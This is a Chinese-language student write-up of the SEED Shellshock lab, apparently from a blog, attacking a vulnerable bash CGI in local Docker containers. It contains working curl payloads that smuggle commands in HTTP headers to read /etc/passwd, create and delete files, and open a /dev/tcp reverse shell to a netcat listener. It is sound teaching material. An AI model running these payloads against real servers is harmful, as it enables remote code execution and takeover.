详见我的个人博客:shellshock Attack Lab
实验概述- 实验背景
2014 年 9 月 24 日,发现了 Bash 中的一个严重漏洞 Shellshock,这个漏洞可以用于许多系统,可以远程启动,也可以从本地机器启动。在这个实验中,学生们需要研究这种攻击,这样才能了解Shellshock 的脆弱性. 此次实验包括以下四个内容:
- Shellshock
- Environment variables
- Function definition in bash
- Apache and CGI programs
- 实验环境
此次实验是基于Ubuntu 20.04 VM进行测试的,该虚拟机可以在SEED网站上进行下载. 自在我们的实验环境中安装了containers,此次实验也不再依赖于SEED VM. 你可以直接在其他的VMs,物理机或者VMs云平台.
环境搭建- DNS的配置
在我们的安装中,网络服务端container的IP地址是10.9.0.80. 服务器的主机名叫做www.seedlab-shellshock.com. 我们需要将这个名字映射到IP地址上. 另外同时将下面的内容添加到/etc/hosts,可以通过root权限进行修改:
10.9.0.80 www.seedlab-shellshock.com
- Container的配置以及一些常用命令
首先下载Labsetup.zip到VM上,将它进行解压到当前文件夹中,进入Labsetup文件夹中,同时使用docker-compose.yml文件头配置你的实验环境. 具体的解释,Dockerfile相关信息以及docker命令的介绍在user manual. 在实验前最好是先看看user manual熟悉一下,下面进行一些简单的介绍.
在文件中有三个重要的文件是/image_www/bash_shellshock, docker-compose.yml, /image_www/Dockerfile,其中bash_shellshock就是实验中需要使用的具有漏洞版本的bash,下面是Dockerfile的内容:
FROM handsonsecurity/seed-server:apache-php
COPY bash_shellshock /bin/
COPY vul.cgi getenv.cgi /usr/lib/cgi-bin/
COPY server_name.conf /etc/apache2/sites-available
RUN chmod 755 /bin/bash_shellshock
&& chmod 755 /usr/lib/cgi-bin/*.cgi
&& a2ensite server_name.conf
CMD service apache2 start && tail -f /dev/null
- FROM:它代表的是这个container是基于什么镜像建立的
- COPY:代表将file拷贝到container对应的文件夹下
- RUN:代表container会执行的一些命令
- CMD:在container启动后会执行的命令
另外一个文件就是docker-compose.yml,其内容如下:
version: "3"
services:
victim:
build: ./image_www
image: seed-image-www-shellshock
container_name: victim-10.9.0.80
tty: true
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.80
HostB:
image: seed-image-www-shellshock
container_name: victim-10.9.0.81
tty: true
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.81
HostC:
image: seed-image-www-shellshock
container_name: victim-10.9.0.82
tty: true
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.82
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24
- 该services部分列出了我们要构建和运行的所有容器.
- 该networks部分列出了我们需要创建的所有网络。每个网络都有一个名称,该名称由容器条目使用.
- 该build条目:该条目表示容器镜像的文件夹名称,并将使用Dockerfile里面的内容来构建容器镜像。如果一个服务没有build入口,则意味着容器不需要构建自己的镜像;它使用image条目中指定的现有图像。需要注意的是,一个镜像可以被多个容器实例使用.
- 该image条目:图像的名称在这个条目中指定。如果没有这个条目,docker 会为这个镜像生成一个名字.
- 该container_name条目:建设中的形象后,撰写将从这一形象开始一个容器实例,并在此项规定的容器实例的名称。在我们的命名约定中,我们将 IP 地址附加到主机名.
- tty: true: 表示在运行容器时,使用该 -t选项,这是以后在容器上获得shell提示所必需的.
- 该networks条目:它指定了该容器连接到与对应于集装箱的IP地址一起的网络的名称。多个网络可以连接到一个容器.
注意:当Docker创建网络时,它会自动将主机(即VM)附加到网络上,并给出.1其IP地址。即,对于 10.9.0.0/24网络,主机的 IP 地址是 10.9.0.1。因此,宿主机可以直接与所有容器进行通信.
build, start, shutdown实验环境的指令:
docker-compose build docker-compose up docker-compose down
部分指令的缩写/别名:
dcbuild # Alias for: docker-compose build
dcup # Alias for: docker-compose up
dcdown # Alias for: docker-compose down
dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
docksh # Alias for: docker exec -it /bin/bash
container的常用指令:
docker network ls # List all the networks docker container restart# Restart a container docker container stop # Stop a container docker container start # Start a container
- Web服务器以及CGI
此次实验将在Web服务器container上进行Shellshock攻击. CGI作为在应用程序以及网页的动态内容生成的一种标准方式,也是被大多是Web服务端支持的. 许多的CGI程序都是使用shell脚本,因此对于一个CGI程序的执行,它一定是有shell程序首先进行参与的,这样一来就会给远程用户进行恶意的攻击创造机会. 如果shell程序比较脆弱,那么我们是可以通过这个Shellshock的方式在服务端获得高级权限的.
在这个Web服务器的container上是已经配置好了一个非常简单的CGI程序(vul.cgi). 它的作用也就仅仅是打印出“Hello World”. 这个CGI程序通过Dokerfile配置中的COPY vul.cgi getenv.cgi /usr/lib/cgi-bin/拷贝到对应的container的文件夹,并且在这之前你需要将其设置为可执行,比如可以执行sudo chmod a+x vul.cgi,当然Dockerfile也是非常周到的在RUN中添加了chmod 755 /usr/lib/cgi-bin/*.cgi这样一条指令,作用类似.
#!/bin/bash shellshock echo "Content-type: text/plain" echo echo echo "Hello World"
在这个CGI程序中我们可以看出它是使用了/bin/bash_shellshock而不是/bin/bash. 这一步是必须的因为大于4.1的bash已经都修复了这个bug. 假如现在通过Web进入这个CGI程序,你可以直接在游览器中直接输入跳转地址http://localhost_address/cgi-bin/vul.cgi,或者在shell中输入指令curl http://10.9.0.80/cgi-bin/vul.cgi,能够看到都会显示Hello World的字样
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZSaFK88J-1636289676945)(…/images/blog/image-20211029205720789.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cUhs2e30-1636289676950)(…/images/blog/image-20211029205837117.png)]
实验任务 Task 1:Experimenting with Bash Function任务要求:在上面的内容已经介绍了环境的搭建,我们所需要版本的bash也都在/Labsetup/image_www内(bash_shellshock),而我们第一个实验就是需要使用这个bash,你可以在你的container内或者是本地文件夹下运行这个shell程序. 你需要自己设计一个实验来验证你的bash是否能够通过Shellshock进行攻击成功. 另外再使用以下做好补丁后的bash进行又一次的实验,并得出你的结论.
我们首先用本地(不用container)来进行验证,这个例子就是最典型的例子,foo='() { echo "Attack Success!";}; echo "Under Attack!";',然后将foo变量export导出,通过bash_shellshock传递到子程序后,就会将foo视为一个函数,同时执行echo "Under Attack!":
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d3ZzZIXj-1636289676952)(…/images/blog/image-20211029211443847.png)]
在使用以下带有补丁的bash运行同样的操作,显然不会出现上面的情况:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eduxfHtW-1636289676955)(…/images/blog/image-20211029220348635.png)]
然后使用container进行同样的实验:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dQ0sTAVf-1636289676957)(…/images/blog/image-20211029215614715.png)]
Conclusion: 我们知道可以通过export指令将shell变量转化为env变量,同时这个env变量是会传递给子程序的,但是在bash_shellshock中,是有一个严重漏洞的,会检测() {然后把它当作是函数,同时对于;后面的会当成指令进行执行,于是就会出现以上的场景;但是如果使用4.1以上的bash版本,它会将变量中的指令解析出来而不是执行它们,那么就会进行正常的显示;
Task 2: Passing Data to Bash via Environment Variable任务要求:为了利用Shellshock vulnerability去攻击CGI程序,攻击者需要将数据传递给有漏洞的bash程序,在这之前需将将这个数据先导出到env变量. 在这个task中,我们需要知道如何实现这个步骤. 在环境中已经写好了getenv.cgi在服务器上(COPY vul.cgi getenv.cgi /usr/lib/cgi-bin/拷贝到container的/usr/lib/cgi-bin中),这个CGI程序将会帮组你了解什么样的用户数据才能够CGI程序的env变量. 以下这个程序会打印出全部的环境变量:
#!/bin/bash_shellshock echo "Content-type: text/plain" echo echo "****** Environment Variables ******" strings /prog/&&/environ
- Using brower
我们知道以上的程序是将所有的env变量打印出来. 一般而言,你会看到下图的内容. 请确认一下游览器设置的env变量的值,可以通过HTTP Header Live扩展来捕捉你的HTTP请求,并将请求与服务器打印出的env变量进行比较. 最后得出你的结论:
首先在游览器中输入http://10.9.0.80/cgi-bin/getenv.cgi
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8tLGBEC5-1636289676959)(…/images/blog/image-20211029222434612.png)]
接着是Fn + F12打开网页的详细,然后点继Network接着是找到File对应的getenv.cgi,点击Headers下拉到最后可以看到Request Headers的具体内如,如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xKmRC7xm-1636289676960)(…/images/blog/image-20211029230853771.png)]
Conclusion: 在观察env变量和Request Headers之后,可以发现HTTP-ACCEPT与Accept,HTTP-ACCEPT——ENCODING与Accept-Encoding,HTTP-ACCEPT-LANGUAGE与Accept-Language之类的,都可以对应起来且都是一样的.
- Using curl
如果需要将env变量设置为任意的数值,我们就需要修改游览器的行为,这会变得非常复杂. 但是我们有curl指令,这个指令能够让你控制大多的HTTP头部,以下是常用的命令:
$ curl -v http://localhost_address/cgi-bin/getenv.cgi # the -v field can print out the header of the HTTP request ''' the -A, -e, and -H options can set some fields in the header request, and you need to figure out what fileds are set by each of them''' $ curl -A "my data" -v http://localhost_address/cgi-bin/getenv.cgi $ curl -e "my data" -v http://localhost_address/cgi-bin/getenv.cgi $ curl -H "AAAAAA: BBBBBB" -v http://localhost_address/cgi-bin/getenv.cgi
基于以上实验,请描述curl的那些指令是用来将数据注入到CGI程序的env变量中的.
现在通过curl来访问该CGI程序,使用“-v”选项,curl会打印出HTTP请求和来自服务器的响应:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dt31o97U-1636289676962)(…/images/blog/image-20211029233013843.png)]
上面标记的HTTP请求头中的User -Agent字段中,该字段的目的是向服务器提供一些客户端浏览器的信息、它可以帮助服务器根据不同浏览器类型对网页内容的显示方式进行优化。从上面的例子中可以看出,该字段表明客户端是curl,下面执行以下指令curl -A "My data" -v http://10.9.0.80/cgi-bin/getenv.cgi:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DZ7vlrVf-1636289676964)(…/images/blog/image-20211029233315787.png)]
可以看到使用option -A能够对User-Agent进行修改,变成了My data,同样的option -e,对Refeter进行修改:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wuljj7ER-1636289676965)(…/images/blog/image-20211029233613133.png)]
而对于option -H可以对大部分的键值对进行修改,如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElOm5xiJ-1636289676966)(…/images/blog/image-20211029233822939.png)]
Task 3: Launching the Shellshock Attack任务要求:现在进行Shellshock Attack,这个攻击并不是一栏与CGI程序里面的内容,而是目标在bash程序,因为它是在CGI脚本执行之前执行的. 你的工作就是通过http://localhost_address/cgi-bin/vul.cgi进行你的攻击,所以你可以通过服务器执行任意指令.
如果命令有纯文本输出,并且希望返回输出,则输出需要遵循协议:应该以Content-type开始:文本/纯文本,然后是一个空行,然后您可以放置纯文本输出. 例如,如果希望服务器返回其文件夹中的文件列表,则该命令如下所示:
echo Content_type: text/plain; echo; /bin/ls -l
在这个task中请用三种不同方式使用shellshock去攻击CGI程序,你需要完成以下的小任务,对于每个任务,你只要使用一个方法,但是总共需要使用三种方式.
- 让服务器返回/etc/passwd的内容;
执行命令:
curl -A "() { echo "hello";}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://10.9.0.80/cgi-bin/vul.cgi
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UsnPdaGO-1636289676967)(…/images/blog/image-20211030001348267.png)]
- 让服务器告诉你进程用户的ID,你可以使用/bin/id命令打印出ID信息;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i4b2xbRG-1636289676969)(…/images/blog/image-20211030001442777.png)]
- 让服务器在/tmp文件夹下创建文件,你需要进入container去看是否真的创建成功,或者使用另外一个shellshock攻击/tmp的列表;
curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/touch /tmp/test " http://10.9.0.80/cgi-bin/vul.cgi
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6DmSYsTo-1636289676970)(…/images/blog/image-20211030091512591.png)]
- 让服务器删除你在/tmp中创造的文件;
curl -e " () { echo hello; }; echo Content_type: text/plain; echo; /bin/rm /tmp/test " http://10.9.0.80/cgi-bin/vul.cgi
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H5xES0G3-1636289676971)(…/images/blog/image-20211030091853210.png)]
Q1: 能否从服务器上窃取影子文件的内容?为什么能/不能?在小任务2中获得的信息应该会给您一个线索
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bj0emm2z-1636289676972)(…/images/blog/image-20211030003738015.png)]
Shadow的所有者是root,有rw的权限;所在组是shadow,组内用户有r的权限,其他组用户无权限读这个文件。vul.cgi的所有者是seed,有rw的权限;所在组是seed,有rx权限.
所以通过vul.cgi获得bash_shellshock之后,执行指令. 对于shadow来说,vul.cgi是其他组内用户,没有读的权限,所以不可以通过vul.cgi执行程序获得shadow的内容.
Q2: HTTP-GET请求通常在URL中附加数据,在?之后。这可能是我们可以用来发动攻击的另一种方法。在下面的示例中,我们在URL中附加了一些数据,我们发现这些数据被用于设置以下环境变量:
$ curl "http://localhost_address/cgi-bin/getenv.cgi?AAAAA" ... UERY_STRING=AAAAA ...
我们可以用这种方法来进行Shellshock攻击吗?请进行实验,并根据实验结果得出结论.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JPGYwPYO-1636289676973)(…/images/blog/image-20211030004328596.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZAibj2h2-1636289676974)(…/images/blog/image-20211030092850712.png)]
但是我们尝试用相同的方式进行shellshock攻击并不能成功,这是因为它只能将没有空格的字符串识别为环境变量,而如果存在空格会进行报错.
Task 4: Getting a Reverse Shell via Shellshock Attack任务要求:Shellshock漏洞允许攻击在目标机器上运行任意命令。在实际的攻击中,攻击者通常选择运行shell命令,而不是硬编码Shell命令,只要shell程序还存在,这样他们就可以使用这个shell来运行其他命令.
为了实现这一目标,攻击者需要运行一个Reverse Shell. Reverse Shell是在机器上启动的shell过程,其输入和输出由远程计算机的某人控制. 基本上,shell运行在受害者的机器上,但它从攻击者的机器上获取输入,并在攻击者的机器上打印其输出. Reverse Shell为攻击者提供了一种方便的方式来在受损的机器上运行命令. 关于如何创建Reverse Shell的详细解释可以在SEED的书中找到. 我们还总结了第4部分中的解释. 在此任务中,您需要演示如何使用Shellshock攻击从受害者那里获得Reverse Shell.
分别在两个终端输入:
nc -lvnp 9090
curl -A "() { echo hello;}; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-opxo08Us-1636289676975)(…/images/blog/image-20211030094011447.png)]
小知识:当Docker创建网络时,它会自动将主机(即VM)附加到网络上,并给出.1其IP地址. 即对于 10.9.0.0/24网络,主机的 IP 地址是 10.9.0.1. 因此,宿主机可以直接与所有容器进行通信.
可以左边是攻击者,在运行nc -lvnp 9090之后,它将成为一个TCP服务器,用来侦听指定端口上的连接,此时如果服务器(右边),通过Shellshock进行攻击,使它执行/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1(具体这条指令的意义可以看第四部分,注意10.9.0.1是你主机的端口),命令在服务器机器上启动一个bashshell,其输入来自TCP连接,并输出到相同的TCP连接. 在我们的实验中,当bashshell命令在10.9.0.01上执行时,它会连接到从10.9.0.80上开始的netcat进程. 当出现www-data@0d5106002259:/usr/lib/cgi-bin$的时候,表示你已经得到了主机的Reverse Shell.
Task 5: Using the Patched Bash任务要求:现在我们使用一个已经打过补丁的bash程序. 该程序/bin/bash是一个补丁版本. 请用此程序替换CGI程序的第一行. 重做任务3,并描述观察结果.
首先修改vul.cgi文件:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u2s9WpSI-1636289676976)(…/images/blog/image-20211030005341942.png)]
在执行Shellshock攻击之前,一定要先重新dcbiuld以及dcup,这样你修改的内容才会修改在你的容器中,换句话说,这样才能够使你的sh执行的是有补丁的bash而不是bash_shellshock,接着执行task 3的相同指令,结果如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j8MGcZ7m-1636289676977)(…/images/blog/image-20211030095353256.png)]
观察结果发现,结果不能够正常的执行.
Guidlelines: Creating Reverse ShellReverse Shell的关键思想是将其标准输入、输出和错误设备重定向到网络连接,这样shell就可以从连接中获取输入,并打印出输出到连接. 在连接的另一端是由攻击者运行的一个程序;该程序只是显示另一端来自shell的内容,并通过网络连接将攻击者输入的内容发送到shell. 攻击者常用的程序是netcat,如果使用“-l”选项运行,它将成为一个TCP服务器,用来侦听指定端口上的连接。这个服务器程序基本上打印出客户端发送的内容,并将运行服务器的用户输入的内容发送给客户端。在接下来的实验中,netcat(简称nc)用于侦听端口9090上的连接.
Attacker(10.0.2.6):$ nc -nv -l 9090 # Waiting for reverse shell Listening on 0.0.0.0 9090 Connection received on 10.0.2.5 39452 Server(10.0.2.5):$ # Reverse shell from 10.0.2.5. Server(10.0.2.5):$ ifconfig ifconfig enp0s3: flags=4163mtu 1500 inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255 ...
上述nc命令将阻塞,等待连接. 我们现在直接在服务器机器(10.0.2.5)上运行以下bash程序来模拟攻击者在通过Shellshock攻击损害服务器后将运行什么. 此bash命令将触发到攻击者计算机的9090端口的TCP连接,并将创建一个反向shell. 我们可以从上述结果中看到shell提示符,表明shell正在服务器机器上运行;我们可以键入ifonfig命令来验证IP地址确实是10.0.2.5,它属于服务器机器. 以下是bash命令:
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
上述命令表示通常会在受损的服务器上执行的命令. 这是相当复杂的,我们的详细解释如下:
-
“/bin/bash-i”:选项i代表交互式的,这意味着壳式必须是交互式的(必须提供shell提示符)
-
“>/dev/tcp/10.0.2.6/9090”:这导致壳的输出设备(输出)被重定向到10.0.2.6端口9090的TCP连接. 在Unix系统中,stdout的文件描述符为1
-
“0<&1”:文件描述符0表示标准输入设备(stdin). 此选项告诉系统使用标准输出设备作为标准输入设备. 由于stdout已经被重定向到TCP连接,这个选项基本上表示shell程序将从相同的TCP连接获得其输入.
-
“2>&1”:文件描述符2表示标准错误标准. 这将导致错误输出被重定向到stdout,即TCP连接.
总之,“/bin/bash-i>/dev/tcp/10.0.2.6/90900<&12>&1”命令在服务器机器上启动一个bashshell,其输入来自TCP连接,并输出到相同的TCP连接. 在我们的实验中,当bashshell命令在10.0.2.5上执行时,它会连接到从10.0.2.6上开始的netcat进程。这是通过netcat显示的 "Connection from 10.0.2.5 …"消息来确认的.



